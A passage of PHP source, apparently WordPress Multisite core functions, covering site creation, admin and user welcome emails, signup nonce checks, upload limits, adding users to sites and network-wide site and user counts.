 * @param int    $user_id    The user ID of the new site's admin.
 * @param array  $options    Optional. Array of key=>value pairs used to set initial site options.
 *                           If valid status keys are included ('public', 'archived', 'mature',
 *                           'spam', 'deleted', or 'lang_id') the given site status(es) will be
 *                           updated. Otherwise, keys and values will be used to set options for
 *                           the new site. Default empty array.
 * @param int    $network_id Optional. Network ID. Only relevant on multi-network installations.
 *                           Default 1.
 * @return int|WP_Error Returns WP_Error object on failure, the new site ID on success.
 */
function wpmu_create_blog( $domain, $path, $title, $user_id, $options = array(), $network_id = 1 ) {
	$defaults = array(
		'public' => 0,
	);
	$options  = wp_parse_args( $options, $defaults );

	$title   = strip_tags( $title );
	$user_id = (int) $user_id;

	// Check if the domain has been used already. We should return an error message.
	if ( domain_exists( $domain, $path, $network_id ) ) {
		return new WP_Error( 'blog_taken', __( 'Sorry, that site already exists!' ) );
	}

	if ( ! wp_installing() ) {
		wp_installing( true );
	}

	$allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );

	$site_data = array_merge(
		array(
			'domain'     => $domain,
			'path'       => $path,
			'network_id' => $network_id,
		),
		array_intersect_key( $options, array_flip( $allowed_data_fields ) )
	);

	// Data to pass to wp_initialize_site().
	$site_initialization_data = array(
		'title'   => $title,
		'user_id' => $user_id,
		'options' => array_diff_key( $options, array_flip( $allowed_data_fields ) ),
	);

	$blog_id = wp_insert_site( array_merge( $site_data, $site_initialization_data ) );

	if ( is_wp_error( $blog_id ) ) {
		return $blog_id;
	}

	wp_cache_set_sites_last_changed();

	return $blog_id;
}

/**
 * Notifies the network admin that a new site has been activated.
 *
 * Filter {@see 'newblog_notify_siteadmin'} to change the content of
 * the notification email.
 *
 * @since MU (3.0.0)
 * @since 5.1.0 $blog_id now supports input from the {@see 'wp_initialize_site'} action.
 *
 * @param WP_Site|int $blog_id    The new site's object or ID.
 * @param string      $deprecated Not used.
 * @return bool
 */
function newblog_notify_siteadmin( $blog_id, $deprecated = '' ) {
	if ( is_object( $blog_id ) ) {
		$blog_id = $blog_id->blog_id;
	}

	if ( 'yes' !== get_site_option( 'registrationnotification' ) ) {
		return false;
	}

	$email = get_site_option( 'admin_email' );

	if ( is_email( $email ) == false ) {
		return false;
	}

	$options_site_url = esc_url( network_admin_url( 'settings.php' ) );

	switch_to_blog( $blog_id );
	$blogname = get_option( 'blogname' );
	$siteurl  = site_url();
	restore_current_blog();

	$msg = sprintf(
		/* translators: New site notification email. 1: Site URL, 2: User IP address, 3: URL to Network Settings screen. */
		__(
			'New Site: %1$s
URL: %2$s
Remote IP address: %3$s

Disable these notifications: %4$s'
		),
		$blogname,
		$siteurl,
		wp_unslash( $_SERVER['REMOTE_ADDR'] ),
		$options_site_url
	);
	/**
	 * Filters the message body of the new site activation email sent
	 * to the network administrator.
	 *
	 * @since MU (3.0.0)
	 * @since 5.4.0 The `$blog_id` parameter was added.
	 *
	 * @param string     $msg     Email body.
	 * @param int|string $blog_id The new site's ID as an integer or numeric string.
	 */
	$msg = apply_filters( 'newblog_notify_siteadmin', $msg, $blog_id );

	/* translators: New site notification email subject. %s: New site URL. */
	wp_mail( $email, sprintf( __( 'New Site Registration: %s' ), $siteurl ), $msg );

	return true;
}

/**
 * Notifies the network admin that a new user has been activated.
 *
 * Filter {@see 'newuser_notify_siteadmin'} to change the content of
 * the notification email.
 *
 * @since MU (3.0.0)
 *
 * @param int $user_id The new user's ID.
 * @return bool
 */
function newuser_notify_siteadmin( $user_id ) {
	if ( 'yes' !== get_site_option( 'registrationnotification' ) ) {
		return false;
	}

	$email = get_site_option( 'admin_email' );

	if ( is_email( $email ) == false ) {
		return false;
	}

	$user = get_userdata( $user_id );

	$options_site_url = esc_url( network_admin_url( 'settings.php' ) );

	$msg = sprintf(
		/* translators: New user notification email. 1: User login, 2: User IP address, 3: URL to Network Settings screen. */
		__(
			'New User: %1$s
Remote IP address: %2$s

Disable these notifications: %3$s'
		),
		$user->user_login,
		wp_unslash( $_SERVER['REMOTE_ADDR'] ),
		$options_site_url
	);

	/**
	 * Filters the message body of the new user activation email sent
	 * to the network administrator.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string  $msg  Email body.
	 * @param WP_User $user WP_User instance of the new user.
	 */
	$msg = apply_filters( 'newuser_notify_siteadmin', $msg, $user );

	/* translators: New user notification email subject. %s: User login. */
	wp_mail( $email, sprintf( __( 'New User Registration: %s' ), $user->user_login ), $msg );

	return true;
}

/**
 * Checks whether a site name is already taken.
 *
 * The name is the site's subdomain or the site's subdirectory
 * path depending on the network settings.
 *
 * Used during the new site registration process to ensure
 * that each site name is unique.
 *
 * @since MU (3.0.0)
 *
 * @param string $domain     The domain to be checked.
 * @param string $path       The path to be checked.
 * @param int    $network_id Optional. Network ID. Only relevant on multi-network installations.
 *                           Default 1.
 * @return int|null The site ID if the site name exists, null otherwise.
 */
function domain_exists( $domain, $path, $network_id = 1 ) {
	$path   = trailingslashit( $path );
	$args   = array(
		'network_id'             => $network_id,
		'domain'                 => $domain,
		'path'                   => $path,
		'fields'                 => 'ids',
		'number'                 => 1,
		'update_site_meta_cache' => false,
	);
	$result = get_sites( $args );
	$result = array_shift( $result );

	/**
	 * Filters whether a site name is taken.
	 *
	 * The name is the site's subdomain or the site's subdirectory
	 * path depending on the network settings.
	 *
	 * @since 3.5.0
	 *
	 * @param int|null $result     The site ID if the site name exists, null otherwise.
	 * @param string   $domain     Domain to be checked.
	 * @param string   $path       Path to be checked.
	 * @param int      $network_id Network ID. Only relevant on multi-network installations.
	 */
	return apply_filters( 'domain_exists', $result, $domain, $path, $network_id );
}

/**
 * Notifies the site administrator that their site activation was successful.
 *
 * Filter {@see 'wpmu_welcome_notification'} to disable or bypass.
 *
 * Filter {@see 'update_welcome_email'} and {@see 'update_welcome_subject'} to
 * modify the content and subject line of the notification email.
 *
 * @since MU (3.0.0)
 *
 * @param int    $blog_id  Site ID.
 * @param int    $user_id  User ID.
 * @param string $password User password, or "N/A" if the user account is not new.
 * @param string $title    Site title.
 * @param array  $meta     Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
 * @return bool Whether the email notification was sent.
 */
function wpmu_welcome_notification( $blog_id, $user_id, $password, $title, $meta = array() ) {
	$current_network = get_network();

	/**
	 * Filters whether to bypass the welcome email sent to the site administrator after site activation.
	 *
	 * Returning false disables the welcome email.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int|false $blog_id  Site ID, or false to prevent the email from sending.
	 * @param int       $user_id  User ID of the site administrator.
	 * @param string    $password User password, or "N/A" if the user account is not new.
	 * @param string    $title    Site title.
	 * @param array     $meta     Signup meta data. By default, contains the requested privacy setting and lang_id.
	 */
	if ( ! apply_filters( 'wpmu_welcome_notification', $blog_id, $user_id, $password, $title, $meta ) ) {
		return false;
	}

	$user = get_userdata( $user_id );

	$switched_locale = switch_to_user_locale( $user_id );

	$welcome_email = get_site_option( 'welcome_email' );
	if ( false == $welcome_email ) {
		/* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */
		$welcome_email = __(
			'Howdy USERNAME,

Your new SITE_NAME site has been successfully set up at:
BLOG_URL

You can log in to the administrator account with the following information:

Username: USERNAME
Password: PASSWORD
Log in here: BLOG_URLwp-login.php

We hope you enjoy your new site. Thanks!

--The Team @ SITE_NAME'
		);
	}

	$url = get_blogaddress_by_id( $blog_id );

	$welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email );
	$welcome_email = str_replace( 'BLOG_TITLE', $title, $welcome_email );
	$welcome_email = str_replace( 'BLOG_URL', $url, $welcome_email );
	$welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email );
	$welcome_email = str_replace( 'PASSWORD', $password, $welcome_email );

	/**
	 * Filters the content of the welcome email sent to the site administrator after site activation.
	 *
	 * Content should be formatted for transmission via wp_mail().
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $welcome_email Message body of the email.
	 * @param int    $blog_id       Site ID.
	 * @param int    $user_id       User ID of the site administrator.
	 * @param string $password      User password, or "N/A" if the user account is not new.
	 * @param string $title         Site title.
	 * @param array  $meta          Signup meta data. By default, contains the requested privacy setting and lang_id.
	 */
	$welcome_email = apply_filters( 'update_welcome_email', $welcome_email, $blog_id, $user_id, $password, $title, $meta );

	$admin_email = get_site_option( 'admin_email' );

	if ( '' === $admin_email ) {
		$admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST );
	}

	$from_name       = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress';
	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n";
	$message         = $welcome_email;

	if ( empty( $current_network->site_name ) ) {
		$current_network->site_name = 'WordPress';
	}

	/* translators: New site notification email subject. 1: Network title, 2: New site title. */
	$subject = __( 'New %1$s Site: %2$s' );

	/**
	 * Filters the subject of the welcome email sent to the site administrator after site activation.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $subject Subject of the email.
	 */
	$subject = apply_filters( 'update_welcome_subject', sprintf( $subject, $current_network->site_name, wp_unslash( $title ) ) );

	wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

/**
 * Notifies the Multisite network administrator that a new site was created.
 *
 * Filter {@see 'send_new_site_email'} to disable or bypass.
 *
 * Filter {@see 'new_site_email'} to filter the contents.
 *
 * @since 5.6.0
 *
 * @param int $site_id Site ID of the new site.
 * @param int $user_id User ID of the administrator of the new site.
 * @return bool Whether the email notification was sent.
 */
function wpmu_new_site_admin_notification( $site_id, $user_id ) {
	$site  = get_site( $site_id );
	$user  = get_userdata( $user_id );
	$email = get_site_option( 'admin_email' );

	if ( ! $site || ! $user || ! $email ) {
		return false;
	}

	/**
	 * Filters whether to send an email to the Multisite network administrator when a new site is created.
	 *
	 * Return false to disable sending the email.
	 *
	 * @since 5.6.0
	 *
	 * @param bool    $send Whether to send the email.
	 * @param WP_Site $site Site object of the new site.
	 * @param WP_User $user User object of the administrator of the new site.
	 */
	if ( ! apply_filters( 'send_new_site_email', true, $site, $user ) ) {
		return false;
	}

	$switched_locale = false;
	$network_admin   = get_user_by( 'email', $email );

	if ( $network_admin ) {
		// If the network admin email address corresponds to a user, switch to their locale.
		$switched_locale = switch_to_user_locale( $network_admin->ID );
	} else {
		// Otherwise switch to the locale of the current site.
		$switched_locale = switch_to_locale( get_locale() );
	}

	$subject = sprintf(
		/* translators: New site notification email subject. %s: Network title. */
		__( '[%s] New Site Created' ),
		get_network()->site_name
	);

	$message = sprintf(
		/* translators: New site notification email. 1: User login, 2: Site URL, 3: Site title. */
		__(
			'New site created by %1$s

Address: %2$s
Name: %3$s'
		),
		$user->user_login,
		get_site_url( $site->id ),
		get_blog_option( $site->id, 'blogname' )
	);

	$header = sprintf(
		'From: "%1$s" <%2$s>',
		_x( 'Site Admin', 'email "From" field' ),
		$email
	);

	$new_site_email = array(
		'to'      => $email,
		'subject' => $subject,
		'message' => $message,
		'headers' => $header,
	);

	/**
	 * Filters the content of the email sent to the Multisite network administrator when a new site is created.
	 *
	 * Content should be formatted for transmission via wp_mail().
	 *
	 * @since 5.6.0
	 *
	 * @param array $new_site_email {
	 *     Used to build wp_mail().
	 *
	 *     @type string $to      The email address of the recipient.
	 *     @type string $subject The subject of the email.
	 *     @type string $message The content of the email.
	 *     @type string $headers Headers.
	 * }
	 * @param WP_Site $site         Site object of the new site.
	 * @param WP_User $user         User object of the administrator of the new site.
	 */
	$new_site_email = apply_filters( 'new_site_email', $new_site_email, $site, $user );

	wp_mail(
		$new_site_email['to'],
		wp_specialchars_decode( $new_site_email['subject'] ),
		$new_site_email['message'],
		$new_site_email['headers']
	);

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

/**
 * Notifies a user that their account activation has been successful.
 *
 * Filter {@see 'wpmu_welcome_user_notification'} to disable or bypass.
 *
 * Filter {@see 'update_welcome_user_email'} and {@see 'update_welcome_user_subject'} to
 * modify the content and subject line of the notification email.
 *
 * @since MU (3.0.0)
 *
 * @param int    $user_id  User ID.
 * @param string $password User password.
 * @param array  $meta     Optional. Signup meta data. Default empty array.
 * @return bool
 */
function wpmu_welcome_user_notification( $user_id, $password, $meta = array() ) {
	$current_network = get_network();

	/**
	 * Filters whether to bypass the welcome email after user activation.
	 *
	 * Returning false disables the welcome email.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int    $user_id  User ID.
	 * @param string $password User password.
	 * @param array  $meta     Signup meta data. Default empty array.
	 */
	if ( ! apply_filters( 'wpmu_welcome_user_notification', $user_id, $password, $meta ) ) {
		return false;
	}

	$welcome_email = get_site_option( 'welcome_user_email' );

	$user = get_userdata( $user_id );

	$switched_locale = switch_to_user_locale( $user_id );

	/**
	 * Filters the content of the welcome email after user activation.
	 *
	 * Content should be formatted for transmission via wp_mail().
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $welcome_email The message body of the account activation success email.
	 * @param int    $user_id       User ID.
	 * @param string $password      User password.
	 * @param array  $meta          Signup meta data. Default empty array.
	 */
	$welcome_email = apply_filters( 'update_welcome_user_email', $welcome_email, $user_id, $password, $meta );
	$welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email );
	$welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email );
	$welcome_email = str_replace( 'PASSWORD', $password, $welcome_email );
	$welcome_email = str_replace( 'LOGINLINK', wp_login_url(), $welcome_email );

	$admin_email = get_site_option( 'admin_email' );

	if ( '' === $admin_email ) {
		$admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST );
	}

	$from_name       = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress';
	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n";
	$message         = $welcome_email;

	if ( empty( $current_network->site_name ) ) {
		$current_network->site_name = 'WordPress';
	}

	/* translators: New user notification email subject. 1: Network title, 2: New user login. */
	$subject = __( 'New %1$s User: %2$s' );

	/**
	 * Filters the subject of the welcome email after user activation.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $subject Subject of the email.
	 */
	$subject = apply_filters( 'update_welcome_user_subject', sprintf( $subject, $current_network->site_name, $user->user_login ) );

	wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

/**
 * Gets the current network.
 *
 * Returns an object containing the 'id', 'domain', 'path', and 'site_name'
 * properties of the network being viewed.
 *
 * @see wpmu_current_site()
 *
 * @since MU (3.0.0)
 *
 * @global WP_Network $current_site The current network.
 *
 * @return WP_Network The current network.
 */
function get_current_site() {
	global $current_site;
	return $current_site;
}

/**
 * Gets a user's most recent post.
 *
 * Walks through each of a user's blogs to find the post with
 * the most recent post_date_gmt.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @return array Contains the blog_id, post_id, post_date_gmt, and post_gmt_ts.
 */
function get_most_recent_post_of_user( $user_id ) {
	global $wpdb;

	$user_blogs       = get_blogs_of_user( (int) $user_id );
	$most_recent_post = array();

	/*
	 * Walk through each blog and get the most recent post
	 * published by $user_id.
	 */
	foreach ( (array) $user_blogs as $blog ) {
		$prefix      = $wpdb->get_blog_prefix( $blog->userblog_id );
		$recent_post = $wpdb->get_row( $wpdb->prepare( "SELECT ID, post_date_gmt FROM {$prefix}posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT 1", $user_id ), ARRAY_A );

		// Make sure we found a post.
		if ( isset( $recent_post['ID'] ) ) {
			$post_gmt_ts = strtotime( $recent_post['post_date_gmt'] );

			/*
			 * If this is the first post checked
			 * or if this post is newer than the current recent post,
			 * make it the new most recent post.
			 */
			if ( ! isset( $most_recent_post['post_gmt_ts'] ) || ( $post_gmt_ts > $most_recent_post['post_gmt_ts'] ) ) {
				$most_recent_post = array(
					'blog_id'       => $blog->userblog_id,
					'post_id'       => $recent_post['ID'],
					'post_date_gmt' => $recent_post['post_date_gmt'],
					'post_gmt_ts'   => $post_gmt_ts,
				);
			}
		}
	}

	return $most_recent_post;
}

//
// Misc functions.
//

/**
 * Checks an array of MIME types against a list of allowed types.
 *
 * WordPress ships with a set of allowed upload filetypes,
 * which is defined in wp-includes/functions.php in
 * get_allowed_mime_types(). This function is used to filter
 * that list against the filetypes allowed provided by Multisite
 * Super Admins at wp-admin/network/settings.php.
 *
 * @since MU (3.0.0)
 *
 * @param array $mimes
 * @return array
 */
function check_upload_mimes( $mimes ) {
	$site_exts  = explode( ' ', get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) );
	$site_mimes = array();
	foreach ( $site_exts as $ext ) {
		foreach ( $mimes as $ext_pattern => $mime ) {
			if ( '' !== $ext && str_contains( $ext_pattern, $ext ) ) {
				$site_mimes[ $ext_pattern ] = $mime;
			}
		}
	}
	return $site_mimes;
}

/**
 * Updates a blog's post count.
 *
 * WordPress MS stores a blog's post count as an option so as
 * to avoid extraneous COUNTs when a blog's details are fetched
 * with get_site(). This function is called when posts are published
 * or unpublished to make sure the count stays current.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $deprecated Not used.
 */
function update_posts_count( $deprecated = '' ) {
	global $wpdb;
	update_option( 'post_count', (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$wpdb->posts} WHERE post_status = 'publish' and post_type = 'post'" ) );
}

/**
 * Logs the user email, IP, and registration date of a new site.
 *
 * @since MU (3.0.0)
 * @since 5.1.0 Parameters now support input from the {@see 'wp_initialize_site'} action.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Site|int $blog_id The new site's object or ID.
 * @param int|array   $user_id User ID, or array of arguments including 'user_id'.
 */
function wpmu_log_new_registrations( $blog_id, $user_id ) {
	global $wpdb;

	if ( is_object( $blog_id ) ) {
		$blog_id = $blog_id->blog_id;
	}

	if ( is_array( $user_id ) ) {
		$user_id = ! empty( $user_id['user_id'] ) ? $user_id['user_id'] : 0;
	}

	$user = get_userdata( (int) $user_id );
	if ( $user ) {
		$wpdb->insert(
			$wpdb->registration_log,
			array(
				'email'           => $user->user_email,
				'IP'              => preg_replace( '/[^0-9., ]/', '', wp_unslash( $_SERVER['REMOTE_ADDR'] ) ),
				'blog_id'         => $blog_id,
				'date_registered' => current_time( 'mysql' ),
			)
		);
	}
}

/**
 * Ensures that the current site's domain is listed in the allowed redirect host list.
 *
 * @see wp_validate_redirect()
 * @since MU (3.0.0)
 *
 * @param array|string $deprecated Not used.
 * @return string[] {
 *     An array containing the current site's domain.
 *
 *     @type string $0 The current site's domain.
 * }
 */
function redirect_this_site( $deprecated = '' ) {
	return array( get_network()->domain );
}

/**
 * Checks whether an upload is too big.
 *
 * @since MU (3.0.0)
 *
 * @param array $upload An array of information about the newly-uploaded file.
 * @return string|array If the upload is under the size limit, $upload is returned. Otherwise returns an error message.
 */
function upload_is_file_too_big( $upload ) {
	if ( ! is_array( $upload ) || defined( 'WP_IMPORTING' ) || get_site_option( 'upload_space_check_disabled' ) ) {
		return $upload;
	}

	if ( strlen( $upload['bits'] ) > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
		/* translators: %s: Maximum allowed file size in kilobytes. */
		return sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ) . '<br />', get_site_option( 'fileupload_maxk', 1500 ) );
	}

	return $upload;
}

/**
 * Adds a nonce field to the signup page.
 *
 * @since MU (3.0.0)
 */
function signup_nonce_fields() {
	$id = mt_rand();
	echo "<input type='hidden' name='signup_form_id' value='{$id}' />";
	wp_nonce_field( 'signup_form_' . $id, '_signup_form', false );
}

/**
 * Processes the signup nonce created in signup_nonce_fields().
 *
 * @since MU (3.0.0)
 *
 * @param array $result
 * @return array
 */
function signup_nonce_check( $result ) {
	if ( ! strpos( $_SERVER['PHP_SELF'], 'wp-signup.php' ) ) {
		return $result;
	}

	if ( ! wp_verify_nonce( $_POST['_signup_form'], 'signup_form_' . $_POST['signup_form_id'] ) ) {
		$result['errors']->add( 'invalid_nonce', __( 'Unable to submit this form, please try again.' ) );
	}

	return $result;
}

/**
 * Corrects 404 redirects when NOBLOGREDIRECT is defined.
 *
 * @since MU (3.0.0)
 */
function maybe_redirect_404() {
	if ( is_main_site() && is_404() && defined( 'NOBLOGREDIRECT' ) ) {
		/**
		 * Filters the redirect URL for 404s on the main site.
		 *
		 * The filter is only evaluated if the NOBLOGREDIRECT constant is defined.
		 *
		 * @since 3.0.0
		 *
		 * @param string $no_blog_redirect The redirect URL defined in NOBLOGREDIRECT.
		 */
		$destination = apply_filters( 'blog_redirect_404', NOBLOGREDIRECT );

		if ( $destination ) {
			if ( '%siteurl%' === $destination ) {
				$destination = network_home_url();
			}

			wp_redirect( $destination );
			exit;
		}
	}
}

/**
 * Adds a new user to a blog by visiting /newbloguser/{key}/.
 *
 * This will only work when the user's details are saved as an option
 * keyed as 'new_user_{key}', where '{key}' is a hash generated for the user to be
 * added, as when a user is invited through the regular WP Add User interface.
 *
 * @since MU (3.0.0)
 */
function maybe_add_existing_user_to_blog() {
	if ( ! str_contains( $_SERVER['REQUEST_URI'], '/newbloguser/' ) ) {
		return;
	}

	$parts = explode( '/', $_SERVER['REQUEST_URI'] );
	$key   = array_pop( $parts );

	if ( '' === $key ) {
		$key = array_pop( $parts );
	}

	$details = get_option( 'new_user_' . $key );
	if ( ! empty( $details ) ) {
		delete_option( 'new_user_' . $key );
	}

	if ( empty( $details ) || is_wp_error( add_existing_user_to_blog( $details ) ) ) {
		wp_die(
			sprintf(
				/* translators: %s: Home URL. */
				__( 'An error occurred adding you to this site. Go to the <a href="%s">homepage</a>.' ),
				home_url()
			)
		);
	}

	wp_die(
		sprintf(
			/* translators: 1: Home URL, 2: Admin URL. */
			__( 'You have been added to this site. Please visit the <a href="%1$s">homepage</a> or <a href="%2$s">log in</a> using your username and password.' ),
			home_url(),
			admin_url()
		),
		__( 'WordPress &rsaquo; Success' ),
		array( 'response' => 200 )
	);
}

/**
 * Adds a user to a blog based on details from maybe_add_existing_user_to_blog().
 *
 * @since MU (3.0.0)
 *
 * @param array|false $details {
 *     User details. Must at least contain values for the keys listed below.
 *
 *     @type int    $user_id The ID of the user being added to the current blog.
 *     @type string $role    The role to be assigned to the user.
 * }
 * @return true|WP_Error|void True on success or a WP_Error object if the user doesn't exist
 *                            or could not be added. Void if $details array was not provided.
 */
function add_existing_user_to_blog( $details = false ) {
	if ( is_array( $details ) ) {
		$blog_id = get_current_blog_id();
		$result  = add_user_to_blog( $blog_id, $details['user_id'], $details['role'] );

		/**
		 * Fires immediately after an existing user is added to a site.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param int           $user_id User ID.
		 * @param true|WP_Error $result  True on success or a WP_Error object if the user doesn't exist
		 *                               or could not be added.
		 */
		do_action( 'added_existing_user', $details['user_id'], $result );

		return $result;
	}
}

/**
 * Adds a newly created user to the appropriate blog
 *
 * To add a user in general, use add_user_to_blog(). This function
 * is specifically hooked into the {@see 'wpmu_activate_user'} action.
 *
 * @since MU (3.0.0)
 *
 * @see add_user_to_blog()
 *
 * @param int    $user_id  User ID.
 * @param string $password User password. Ignored.
 * @param array  $meta     Signup meta data.
 */
function add_new_user_to_blog( $user_id, $password, $meta ) {
	if ( ! empty( $meta['add_to_blog'] ) ) {
		$blog_id = $meta['add_to_blog'];
		$role    = $meta['new_role'];
		remove_user_from_blog( $user_id, get_network()->site_id ); // Remove user from main blog.

		$result = add_user_to_blog( $blog_id, $user_id, $role );

		if ( ! is_wp_error( $result ) ) {
			update_user_meta( $user_id, 'primary_blog', $blog_id );
		}
	}
}

/**
 * Corrects From host on outgoing mail to match the site domain.
 *
 * @since MU (3.0.0)
 *
 * @param PHPMailer $phpmailer The PHPMailer instance (passed by reference).
 */
function fix_phpmailer_messageid( $phpmailer ) {
	$phpmailer->Hostname = get_network()->domain;
}

/**
 * Determines whether a user is marked as a spammer, based on user login.
 *
 * @since MU (3.0.0)
 *
 * @param string|WP_User $user Optional. Defaults to current user. WP_User object,
 *                             or user login name as a string.
 * @return bool
 */
function is_user_spammy( $user = null ) {
	if ( ! ( $user instanceof WP_User ) ) {
		if ( $user ) {
			$user = get_user_by( 'login', $user );
		} else {
			$user = wp_get_current_user();
		}
	}

	return $user && isset( $user->spam ) && 1 == $user->spam;
}

/**
 * Updates this blog's 'public' setting in the global blogs table.
 *
 * Public blogs have a setting of 1, private blogs are 0.
 *
 * @since MU (3.0.0)
 *
 * @param int $old_value The old public value.
 * @param int $value     The new public value.
 */
function update_blog_public( $old_value, $value ) {
	update_blog_status( get_current_blog_id(), 'public', (int) $value );
}

/**
 * Determines whether users can self-register, based on Network settings.
 *
 * @since MU (3.0.0)
 *
 * @return bool
 */
function users_can_register_signup_filter() {
	$registration = get_site_option( 'registration' );
	return ( 'all' === $registration || 'user' === $registration );
}

/**
 * Ensures that the welcome message is not empty. Currently unused.
 *
 * @since MU (3.0.0)
 *
 * @param string $text
 * @return string
 */
function welcome_user_msg_filter( $text ) {
	if ( ! $text ) {
		remove_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' );

		/* translators: Do not translate USERNAME, PASSWORD, LOGINLINK, SITE_NAME: those are placeholders. */
		$text = __(
			'Howdy USERNAME,

Your new account is set up.

You can log in with the following information:
Username: USERNAME
Password: PASSWORD
LOGINLINK

Thanks!

--The Team @ SITE_NAME'
		);
		update_site_option( 'welcome_user_email', $text );
	}
	return $text;
}

/**
 * Determines whether to force SSL on content.
 *
 * @since 2.8.5
 *
 * @param bool $force
 * @return bool True if forced, false if not forced.
 */
function force_ssl_content( $force = '' ) {
	static $forced_content = false;

	if ( ! $force ) {
		$old_forced     = $forced_content;
		$forced_content = $force;
		return $old_forced;
	}

	return $forced_content;
}

/**
 * Formats a URL to use https.
 *
 * Useful as a filter.
 *
 * @since 2.8.5
 *
 * @param string $url URL.
 * @return string URL with https as the scheme.
 */
function filter_SSL( $url ) {  // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	if ( ! is_string( $url ) ) {
		return get_bloginfo( 'url' ); // Return home site URL with proper scheme.
	}

	if ( force_ssl_content() && is_ssl() ) {
		$url = set_url_scheme( $url, 'https' );
	}

	return $url;
}

/**
 * Schedules update of the network-wide counts for the current network.
 *
 * @since 3.1.0
 */
function wp_schedule_update_network_counts() {
	if ( ! is_main_site() ) {
		return;
	}

	if ( ! wp_next_scheduled( 'update_network_counts' ) && ! wp_installing() ) {
		wp_schedule_event( time(), 'twicedaily', 'update_network_counts' );
	}
}

/**
 * Updates the network-wide counts for the current network.
 *
 * @since 3.1.0
 * @since 4.8.0 The `$network_id` parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 */
function wp_update_network_counts( $network_id = null ) {
	wp_update_network_user_counts( $network_id );
	wp_update_network_site_counts( $network_id );
}

/**
 * Updates the count of sites for the current network.
 *
 * If enabled through the {@see 'enable_live_network_counts'} filter, update the sites count
 * on a network when a site is created or its status is updated.
 *
 * @since 3.7.0
 * @since 4.8.0 The `$network_id` parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 */
function wp_maybe_update_network_site_counts( $network_id = null ) {
	$is_small_network = ! wp_is_large_network( 'sites', $network_id );

	/**
	 * Filters whether to update network site or user counts when a new site is created.
	 *
	 * @since 3.7.0
	 *
	 * @see wp_is_large_network()
	 *
	 * @param bool   $small_network Whether the network is considered small.
	 * @param string $context       Context. Either 'users' or 'sites'.
	 */
	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'sites' ) ) {
		return;
	}

	wp_update_network_site_counts( $network_id );
}

/**
 * Updates the network-wide users count.
 *
 * If enabled through the {@see 'enable_live_network_counts'} filter, update the users count
 * on a network when a user is created or its status is updated.
 *
 * @since 3.7.0
 * @since 4.8.0 The `$network_id` parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 */
function wp_maybe_update_network_user_counts( $network_id = null ) {
	$is_small_network = ! wp_is_large_network( 'users', $network_id );

	/** This filter is documented in wp-includes/ms-functions.php */
	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) ) {
		return;
	}

	wp_update_network_user_counts( $network_id );
}

/**
 * Updates the network-wide site count.
 *
 * @since 3.7.0
 * @since 4.8.0 The `$network_id` parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 */
function wp_update_network_site_counts( $network_id = null ) {
	$network_id = (int) $network_id;
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	$count = get_sites(
		array(
			'network_id'             => $network_id,
			'spam'                   => 0,
			'deleted'                => 0,
			'archived'               => 0,
			'count'                  => true,
			'update_site_meta_cache' => false,
		)
	);

	update_network_option( $network_id, 'blog_count', $count );
}

/**
 * Updates the network-wide user count.
 *
 * @since 3.7.0
 * @since 4.8.0 The `$network_id` parameter has been added.
 * @since 6.0.0 This function is now a wrapper for wp_update_user_counts().
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 */
function wp_update_network_user_counts( $network_id = null ) {
	wp_update_user_counts( $network_id );
}

/**
 * Returns the space used by the current site.
 *
 * @since 3.5.0
 *
 * @return int Used space in megabytes.
 */
function get_space_used() {
	/**
	 * Filters the amount of storage space used by the current site, in megabytes.
	 *
	 * @since 3.5.0
	 *
	 * @param int|false $space_used The amount of used space, in megabytes. Default false.
